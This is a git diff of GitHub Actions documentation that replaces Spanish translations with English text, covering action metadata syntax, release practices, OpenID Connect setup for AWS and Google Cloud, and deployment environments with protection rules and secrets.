[aquí](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell). Requerido si se configuró `run`. +**Required** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell). Required if `run` is set. {% endif %} #### `runs.steps[*].name` -**Opcional** El nombre del paso compuesto. +**Optional** The name of the composite step. #### `runs.steps[*].id` -**Opcional** Un identificador único para el paso. Puede usar el `id` para hacer referencia al paso en contextos. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts)". +**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." #### `runs.steps[*].env` -**Opcional** Configura un `map` de variables de ambiente únicamente para este paso. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step. +**Optional** Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step. #### `runs.steps[*].working-directory` -**Opcional** Especifica el directorio de trabajo en donde se ejecuta un comando. +**Optional** Specifies the working directory where the command is run. {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %} #### `runs.steps[*].uses` -**Opcional** Selecciona una acción a ejecutar como parte de un paso en tu job. Una acción es una unidad de código reutilizable. Puedes usar una acción definida en el mismo repositorio que el flujo de trabajo, un repositorio público o en una [imagen del contenedor Docker publicada](https://hub.docker.com/). +**Optional** Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). -Te recomendamos encarecidamente que incluyas la versión de la acción que estás utilizando y especifiques un número de etiqueta de Git ref, SHA o Docker. Si no especificas una versión, podrías interrumpir tus flujos de trabajo o provocar un comportamiento inesperado cuando el propietario de la acción publique una actualización. -- El uso del SHA de confirmación de una versión de acción lanzada es lo más seguro para la estabilidad y la seguridad. -- Usar la versión de acción principal específica te permite recibir correcciones críticas y parches de seguridad y al mismo tiempo mantener la compatibilidad. También asegura que tu flujo de trabajo aún debería funcionar. -- Puede ser conveniente utilizar la rama predeterminada de una acciòn, pero si alguien lanza una versiòn principal nueva con un cambio importante, tu flujo de trabajo podrìa fallar. +We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. +- Using the commit SHA of a released action version is the safest for stability and security. +- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work. +- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. -Algunas acciones requieren entradas que se deben establecer usando la palabra clave [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith). Revisa el archivo README de la acción para determinar las entradas requeridas. +Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. ```yaml runs: @@ -310,7 +311,7 @@ runs: #### `runs.steps[*].with` -**Opcional** un `map` de los parámetros de entrada que define la acción. Cada parámetro de entrada es un par clave/valor. Los parámetros de entrada se establecen como variables del entorno. La variable utiliza el prefijo INPUT_ y se convierte en mayúsculas. +**Optional** A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case. ```yaml runs: @@ -325,11 +326,11 @@ runs: ``` {% endif %} -## `runs` para acciones de Docker +## `runs` for Docker actions -**Requerido** Configura la imagen utilizada para la acción de Docker. +**Required** Configures the image used for the Docker action. -### Ejemplo utilizando un Dockerfile en tu repositorio +### Example using a Dockerfile in your repository ```yaml runs: @@ -337,7 +338,7 @@ runs: image: 'Dockerfile' ``` -### Ejemplo usando un contenedor de registro Docker público +### Example using public Docker registry container ```yaml runs: @@ -347,15 +348,15 @@ runs: ### `runs.using` -**Requerido** Debes configurar este valor como `'docker'`. +**Required** You must set this value to `'docker'`. ### `pre-entrypoint` -**Opcional** Te permite ejecutar un script antes de que comience la acción `entrypoint`. Por ejemplo, puedes utilizar `pre-entrypoint` para ejecutar un script de configuración de pre-requisitos. {% data variables.product.prodname_actions %} utiliza `docker run` para lanzar esta acción, y ejecuta el script dentro de un contenedor nuevo que utiliza la misma imagen base. Esto significa que el estado del tiempo de ejecución difiere de el contenedor principal `entrypoint`, y se deberá acceder a cualquier estado que requieras ya sea en el espacio de trabajo, `HOME`, o como una variable `STATE_`. La acción `pre-entrypoint:` siempre se ejecuta predeterminadamente pero la puedes invalidar utilizando [`pre-if`](#pre-if). +**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`pre-if`](#pre-if). -La aplicación que se especifica con la sintaxis [`using`](#runsusing) ejecutará este archivo. +The application specified with the [`using`](#runsusing) syntax will execute this file. -En este ejemplo, la acción `pre.entrypoint:` ejecuta un script llamado `setup.sh`: +In this example, the `pre-entrypoint:` action runs a script called `setup.sh`: ```yaml runs: @@ -369,21 +370,21 @@ runs: ### `runs.image` -**Requerido** La imagen de Docker a utilizar como el contenedor para ejecutar la acción. El valor puede ser el nombre de la imagen base de Docker, un `Dockerfile` local en tu repositorio, o una imagen pública en Docker Hub u otro registro. Para referenciar un `Dockerfile` local de tu repositorio, el archivo debe nombrarse como `Dockerfile` y debes utilizar una ruta relativa a tu archivo de metadatos de acción. La aplicación `docker` ejecutará este archivo. +**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file. ### `runs.env` -**Opcional** Especifica mapa clave/de valores de las variables del ambiente para configurar en el ambiente del contenedor. +**Optional** Specifies a key/value map of environment variables to set in the container environment. ### `runs.entrypoint` -**Opcional** Invalida el `ENTRYPOINT` de Docker en el `Dockerfile`, o lo configura si no se había especificado anteriormente. Utiliza `entrypoint` cuando el `Dockerfile` no especifique un `ENTRYPOINT` o cuando quieras invalidar la instrucción de `ENTRYPOINT`. Si omites el `entrypoint`, se ejecutarán los comandos que especifiques en la instrucción `ENTRYPOINT` de Docker. La instrucción `ENTRYPOINT` de Docker tiene una forma de _shell_ y una de _exec_. La documentación de `ENTRYPOINT` de Docker recomienda utilizar la forma de _exec_ de la instrucción `ENTRYPOINT`. +**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction. -Para obtener más información acerca de cómo se ejecuta el `entrypoint`, consulta la sección "[Soporte de Dockerfile para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)". +For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)." ### `post-entrypoint` -**Opcional** Te permite ejecutar un script de limpieza una vez que se haya completado la acción de `runs.entrypoint`. {% data variables.product.prodname_actions %} utiliza `docker run` para lanzar esta acción. Ya que {% data variables.product.prodname_actions %} ejecuta el script dentro de un contenedor nuevo utilizando la misma imagen base, el estado de tiempo de ejecución es diferente del contenedor principal de `entrypoint`. Puedes acceder a cualquier estado que necesites, ya sea en el espacio de trabajo, `HOME`, o como una variable `STATE_`. La acción `post-entrypoint:` siempre se ejecuta predeterminadamente, pero puedes invalidarla utilizando [`post-if`](#post-if). +**Optional** Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`post-if`](#post-if). ```yaml runs: @@ -397,17 +398,17 @@ runs: ### `runs.args` -**Opcional** Una matriz de secuencias que defina las entradas para un contenedor de Docker. Las entradas pueden incluir cadenas codificadas de forma rígida. {% data variables.product.prodname_dotcom %} comunica los `args` en el `ENTRYPOINT` del contenedor cuando se inicia el contenedor. +**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. -Los `args` se usan en el lugar de la instrucción `CMD` en un `Dockerfile`. Si usas `CMD` en tu `Dockerfile`, usa los lineamientos ordenados por preferencia: +The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: {% data reusables.github-actions.dockerfile-guidelines %} -Si necesitas pasar variables de ambiente a una acción, asegúrate que ésta ejecute un shell de comandos para realizar la sustitución de variables. Por ejemplo, si se configura tu atributo `entrypoint` como `"sh -c"`, entoces `args` se ejecutará en un shell de comandos. Como alternativa, si tu `Dockerfile` utiliza un `ENTRYPOINT` para ejecutar el mismo comando (`"sh -c"`), entonces `args` se ejecutará en un shell de comandos. +If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell. -Para obtener más información sobre el uso de la instrucción `CMD` con {% data variables.product.prodname_actions %}, consulta la sección "[Soporte de Dockerfile para {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)". +For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)." -#### Ejemplo +#### Example {% raw %} ```yaml @@ -421,11 +422,11 @@ runs: ``` {% endraw %} -## `branding (marca)` +## `branding` -Puedes usar un color y un icono de [Pluma](https://feathericons.com/) para crear una insignia que personalice y diferencie tu acción. Los distintivos se muestran junto al nombre de tu acción en [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). +You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). -### Ejemplo +### Example ```yaml branding: @@ -435,11 +436,11 @@ branding: ### `branding.color` -El color de fondo de la insignia. Puede ser: `blanco`, `amarillow`, `azul`, `verde`, `anaranjado`, `rojo`, `púrpura` o `gris oscuro`. +The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`. ### `branding.icon` -El nombre del icono de [Pluma](https://feathericons.com/) que se debe usar. +The name of the [Feather](https://feathericons.com/) icon to use. @@ -467,9 +468,9 @@ El nombre del icono de [Pluma](https://feathericons.com/) que se debe usar. - - + + diff --git a/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md index 6cc1034d44..991f4a77b7 100644 --- a/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md +++ b/translations/es-ES/content/actions/creating-actions/releasing-and-maintaining-actions.md @@ -16,7 +16,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Introducción +## Introduction After you create an action, you'll want to continue releasing new features while working with community contributions. This tutorial describes an example process you can follow to release and maintain actions in open source. The example: @@ -71,7 +71,7 @@ Here is an example process that you can follow to automatically run tests, creat * We recommend creating releases using semantically versioned tags – for example, `v1.1.3` – and keeping major (`v1`) and minor (`v1.1`) tags current to the latest appropriate commit. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#using-release-management-for-actions)" and "[About semantic versioning](https://docs.npmjs.com/about-semantic-versioning). -### Resultados +### Results Unlike some other automated release management strategies, this process intentionally does not commit dependencies to the `main` branch, only to the tagged release commits. By doing so, you encourage users of your action to reference named tags or `sha`s, and you help ensure the security of third party pull requests by doing the build yourself during a release. @@ -81,12 +81,12 @@ Using semantic releases means that the users of your actions can pin their workf {% data variables.product.product_name %} provides tools and guides to help you work with the open source community. Here are a few tools we recommend setting up for healthy bidirectional communication. By providing the following signals to the community, you encourage others to use, modify, and contribute to your action: -* Maintain a `README` with plenty of usage examples and guidance. Para obtener más información, consulta "[Acerca de los README](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)". -* Include a workflow status badge in your `README` file. Para obtener más información, consulta la sección "[Agregar una insignia de estado de flujo de trabajo](/actions/managing-workflow-runs/adding-a-workflow-status-badge)". Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt %} +* Maintain a `README` with plenty of usage examples and guidance. For more information, see "[About READMEs](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)." +* Include a workflow status badge in your `README` file. For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt %} * Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. For more information, see "[Creating a default community health file](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)."{% endif %} * Keep issues current by utilizing actions like [actions/stale](https://github.com/actions/stale). -## Leer más +## Further reading Examples where similar patterns are employed include: diff --git a/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md index 2ef273f7e2..c3653c690f 100644 --- a/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md +++ b/translations/es-ES/content/actions/deployment/about-deployments/about-continuous-deployment.md @@ -1,6 +1,6 @@ --- -title: Acerca del despliegue contínuo -intro: 'Puedes crear flujos de trabajo de despliegue continuo (DC) personalizados directamente en tu repositorio de {% data variables.product.prodname_dotcom %} con {% data variables.product.prodname_actions %}.' +title: About continuous deployment +intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' versions: fpt: '*' ghes: '*' @@ -11,14 +11,14 @@ redirect_from: - /actions/deployment/about-continuous-deployment topics: - CD -shortTitle: Acerca del despliegue contínuo +shortTitle: About continuous deployment --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Acerca del despliegue contínuo +## About continuous deployment _Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment. @@ -47,10 +47,10 @@ You can configure your CD workflow to run when a {% data variables.product.produ {% ifversion fpt or ghae or ghes > 3.0 or ghec %} -## Leer más +## Further reading - [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions) -- [Utilizar ambientes para desplegue](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %} -- "[Administrar la facturación para las {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %} +- [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %} +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %} {% endif %} diff --git a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md index af36775458..d7dcd59852 100644 --- a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md +++ b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md @@ -38,12 +38,11 @@ To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, se To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html). -By default, the validation only includes the audience (`aud`) condition, so you must manually add a subject (`sub`) condition. Edit the trust relationship to add the `sub` field to the validation conditions. For example: +Edit the trust relationship to add the `sub` field to the validation conditions. For example: ```json{:copy} "Condition": { "StringEquals": { - "token.actions.githubusercontent.com:aud": "https://github.com/octo-org", "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch" } } @@ -86,7 +85,7 @@ env: # permission can be added at job level or workflow level permissions: id-token: write - contents: write # This is required for actions/checkout@v1 + contents: read # This is required for actions/checkout@v1 jobs: S3PackageUpload: runs-on: ubuntu-latest diff --git a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md index bcc6aab16d..ec07382cbc 100644 --- a/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md +++ b/translations/es-ES/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Google Cloud Platform shortTitle: Configuring OpenID Connect in Google Cloud Platform -intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform. +intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Resumen +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources. -## Prerrequisitos +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -33,7 +33,7 @@ To configure the OIDC identity provider in GCP, you will need to perform the fol 1. Create a new identity pool. 2. Configure the mapping and add conditions. -3. Connect the new pool to a service account. +3. Connect the new pool to a service account. Additional guidance for configuring the identity provider: @@ -41,7 +41,7 @@ Additional guidance for configuring the identity provider: - For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). - The Issuer URL to use: `https://token.actions.githubusercontent.com` -## Actualizar tu flujo de trabajo de {% data variables.product.prodname_actions %} +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -49,14 +49,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por ejemplo: +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -70,6 +70,7 @@ This example has a job called `Get_OIDC_ID_token` that uses actions to request a This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation). +{% raw %} ```yaml{:copy} name: List services in GCP on: @@ -95,5 +96,6 @@ jobs: name: 'gcloud' run: |- gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" - gcloud config list + gcloud services list ``` +{% endraw %} diff --git a/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md index 929a3194e1..118c351433 100644 --- a/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md +++ b/translations/es-ES/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md @@ -1,7 +1,7 @@ --- title: Using environments for deployment shortTitle: Use environments for deployment -intro: Puedes configurr ambientes con reglas de protección y secretos. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets. +intro: You can configure environments with protection rules and secrets. A workflow job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets. product: '{% data reusables.gated-features.environments %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -17,56 +17,56 @@ versions: {% data reusables.actions.ae-beta %} -## Acerca de los ambientes +## About environments -Los ambientes se utilizan para describir un objetivo de despliegue general como `production`, `staging` o `development`. Cuando se despliega un flujo de trabajo de {% data variables.product.prodname_actions %} en un ambiente, dicho ambiente se desplegará en la página principal del repositorio. Para obtener más información sobre cómo visualizar los despliegues hacia los ambientes, consulta la sección "[Ver el historial de despliegue](/developers/overview/viewing-deployment-history)". +Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)." -Puedes configurr ambientes con reglas de protección y secretos. Cuando un job de un flujo de trabajo referencia un ambiente, el job no comenzará hasta que todas las reglas de protección del ambiente pasen. Un job tampoco puede acceder a los secretos que se definen en un ambiente sino hasta que todas las reglas de protección de dicho ambiente pasen. +You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the environment protection rules pass. {% ifversion fpt %} {% note %} -**Note:** If you don't use {% data variables.product.prodname_ghe_cloud %} and convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. Si conviertes tu repositorio en público nuevamente, tendrás acceso a cualquier regla de protección y secreto de ambiente que hubieras configurado previamente. {% data reusables.enterprise.link-to-ghec-trial %} +**Note:** If you don't use {% data variables.product.prodname_ghe_cloud %} and convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets. {% data reusables.enterprise.link-to-ghec-trial %} {% endnote %} {% endif %} -## Reglas de protección de ambiente +## Environment protection rules -Las reglas de protección de ambiente requieren que pasen condiciones específicas antes de que un job que referencia al ambiente pueda proceder. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}Puedes utilizar las reglas de protección de ambiente para requerir una aprobación manual, retrasar un job, o restringir el ambiente a ramas específicas.{% else %}Puedes utilizar la protección de ambiente para requerir una aprobación manual o retrasar un job.{% endif %} +Environment protection rules require specific conditions to pass before a job referencing the environment can proceed. {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can use environment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches.{% else %}You can use environment protection rules to require a manual approval or delay a job.{% endif %} -### Revisores requeridos +### Required reviewers -Utiliza los revisores requeridos para requerir que una persona o equipo específicos aprueben los jobs del flujo de trabajo que referencian el ambiente. Puedes listar hasta seis usuarios o equipos como revisores. Los revisores deben tener acceso de lectura en el repositorio como mínimo. Solo uno de los revisores requeridos necesita aprobar el job para que éste pueda proceder. +Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed. -Para obtener más información sobre cómo revisar jobs que referencian un ambiente con revisores requeridos, consulta la sección "[revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)". +For more information on reviewing jobs that reference an environment with required reviewers, see "[Reviewing deployments](/actions/managing-workflow-runs/reviewing-deployments)." -### Temporizador de espera +### Wait timer -Utiliza un temporizador de espera para retrasar un job durante una cantidad de tiempo específica después de que el job se active inicialmente. El tiempo (en minutos) debe ser un número entero entre 0 y 43,200 (30 días). +Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 0 and 43,200 (30 days). {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} -### Ramas de despliegue +### Deployment branches -Utiliza ramas de despliegue para restringir las ramas que pueden hacer despliegues en el ambiente. A continuación encnotrarás las opciones para las ramas de despliegue de un ambiente: +Use deployment branches to restrict which branches can deploy to the environment. Below are the options for deployment branches for an environment: -* **Todas las ramas**: Todas las ramas del repositorio pueden hacer despliegues en el ambiente. -* **Ramas protegidas**: Solo las ramas que tengan reglas de protección de rama habilitadas podrán hacer despliegues en el ambiente. Si no se han definido reglas de protección de ramas en ninguna de las ramas del repositorio, entonces todas las ramas podrán hacer despliegues. Para obtener más iformación acerca de las reglas de protección de rama, consulta la sección "[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches)". -* **Ramas selectas**: Solo las ramas que coincidan con tus patrones específicos de nombre podrán hacer despliegues en el ambiente. +* **All branches**: All branches in the repository can deploy to the environment. +* **Protected branches**: Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +* **Selected branches**: Only branches that match your specified name patterns can deploy to the environment. - Por ejemplo, si especificas `releases/*` como una regla de rama de despliegue, solo aquellas ramas cuyo nombre inicie con `releases/` podrán hacer despliegues en el ambiente. (Los caracteres de comodín no coincidirán con `/`. Para hacer coincidir las ramas que inicien con `release/` y contengan una diagonal sencilla adicional utiliza `release/*/*`.) Si agregas `main` como regla de rama de despliegue, la rama que se llame `main` también podrá hacer despliegues en el ambiente. Para obtener más información sobre las opciones de sintaxis para las ramas de despliegue, consulta la [documentación de File.fnmatch de Ruby](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). + For example, if you specify `releases/*` as a deployment branch rule, only branches whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a deployment branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby File.fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). {% endif %} -## Secretos de ambiente +## Environment secrets -Los secretos que se almacenan en un ambiente sólo se encuentran disponibles para los jobs de flujo de trabajo que referencien el ambiente. Si el ambiente requiere aprobación, un job no puede acceder a secretos de ambiente hasta que uno de los revisores requeridos lo apruebe. Para obtener más información sobre los secretos, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)". +Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)." {% note %} -**Nota:** Los flujos de trabajo que se ejecutan en ejecutores auto-hospedados no se ejecutan en un contenedor aislado, incluso si utilizan ambientes. Environment secrets should be treated with the same level of security as repository and organization secrets. Para obtener más información, consulta la sección "[Fortalecimiento de la seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)". +**Note:** Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." {% endnote %} -## Crear un ambiente +## Creating an environment {% data reusables.github-actions.permissions-statement-environment %} @@ -77,7 +77,7 @@ Los secretos que se almacenan en un ambiente sólo se encuentran disponibles par {% data reusables.github-actions.name-environment %} 1. Optionally, specify people or teams that must approve workflow jobs that use this environment. 1. Select **Required reviewers**. - 1. Enter up to 6 people or teams. Solo uno de los revisores requeridos necesita aprobar el job para que éste pueda proceder. + 1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed. 1. Click **Save protection rules**. 2. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed. 1. Select **Wait timer**. @@ -86,37 +86,37 @@ Los secretos que se almacenan en un ambiente sólo se encuentran disponibles par 3. Optionally, specify what branches can deploy to this environment. For more information about the possible values, see "[Deployment branches](#deployment-branches)." 1. Select the desired option in the **Deployment branches** dropdown. 1. If you chose **Selected branches**, enter the branch name patterns that you want to allow. -4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. Para obtener más información sobre los secretos, consulta la sección "[Secretos cifrados](/actions/reference/encrypted-secrets)". +4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)." 1. Under **Environment secrets**, click **Add Secret**. 1. Enter the secret name. 1. Enter the secret value. - 1. Haz clic en **Agregar secreto** 